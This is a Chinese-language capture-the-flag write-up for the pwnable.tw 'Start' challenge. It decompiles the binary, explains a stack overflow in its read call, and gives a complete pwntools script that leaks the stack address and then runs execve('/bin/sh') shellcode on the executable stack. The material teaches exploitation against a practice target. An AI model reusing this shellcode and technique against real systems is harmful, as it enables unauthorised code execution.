Pwnable.tw Start

参考了这篇writeup  http://dogewatch.github.io/2017/04/10/pwnable.tw-Part1/

拿到binary拖到ida里看一下,只有两个函数,一个_start,一个_exit。

Pwnable.tw Start_第1张图片

直接通过 int 80h 进行系统调用

linux syscall的资料在这里

把这段汇编翻译成c

void_start(){

    charbuf[20]='Let'sstarttheCTF:';

    sys_write(1,buf,20);

    sys_read(0,buf,60);

}

void_exit(){

    sys_exit();

}

这里有个坑是用peda 的checksec显示NX是开启状态,但实际栈是可执行的

read有溢出,所以大概的思路是先泄露栈地址 然后往栈上写shellcode并执行

栈结构:

/  saved esp  /

/    ret addr    /

/                    /

20 bytes buffer

/                    /

发现当第一次ret后,esp正好指向saved esp 此时若跳转到mov ecx,esp处可以泄露

saved esp的值,接下来写shellcode 构造payload就行了 这里需要注意的是在第二次ret前

add esp 14h

因此payload要先填充20byte的字符

而且不知道为什么用pwntools生成的shellcode打过去没效果

利用脚本如下

from pwn import *

context.log_level="debug"

s= remote('chall.pwnable.tw',10000)

addr_1 = p32(0x08048087) # mov ecx, esp

shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

#0:  31 c9                  xor    ecx,ecx

#2:  f7 e1                  mul    ecx

#4:  51                      push  ecx

#5:  68 2f 2f 73 68          push  0x68732f2f

#a:  68 2f 62 69 6e          push  0x6e69622f

#f:  89 e3                  mov    ebx,esp

#11:  b0 0b                  mov    al,0xb

#13:  cd 80                  int    0x80

#shellcode = asm(shellcraft.i386.sh())

def leak():

    recv = s.recvuntil(':')

    payload = 'a'*20 + addr_1

     s.send(payload)

    stack_addr = s.recv(4)

    print 'stack address is : ' + hex(u32(stack_addr))

    return u32(stack_addr)

def pwn(addr):

    payload =  "a"*20+p32(addr+20)  + shellcode

    s.send(payload)


addr_2 = leak()

pwn(addr_2)

s.interactive()

你可能感兴趣的:(Pwnable.tw Start)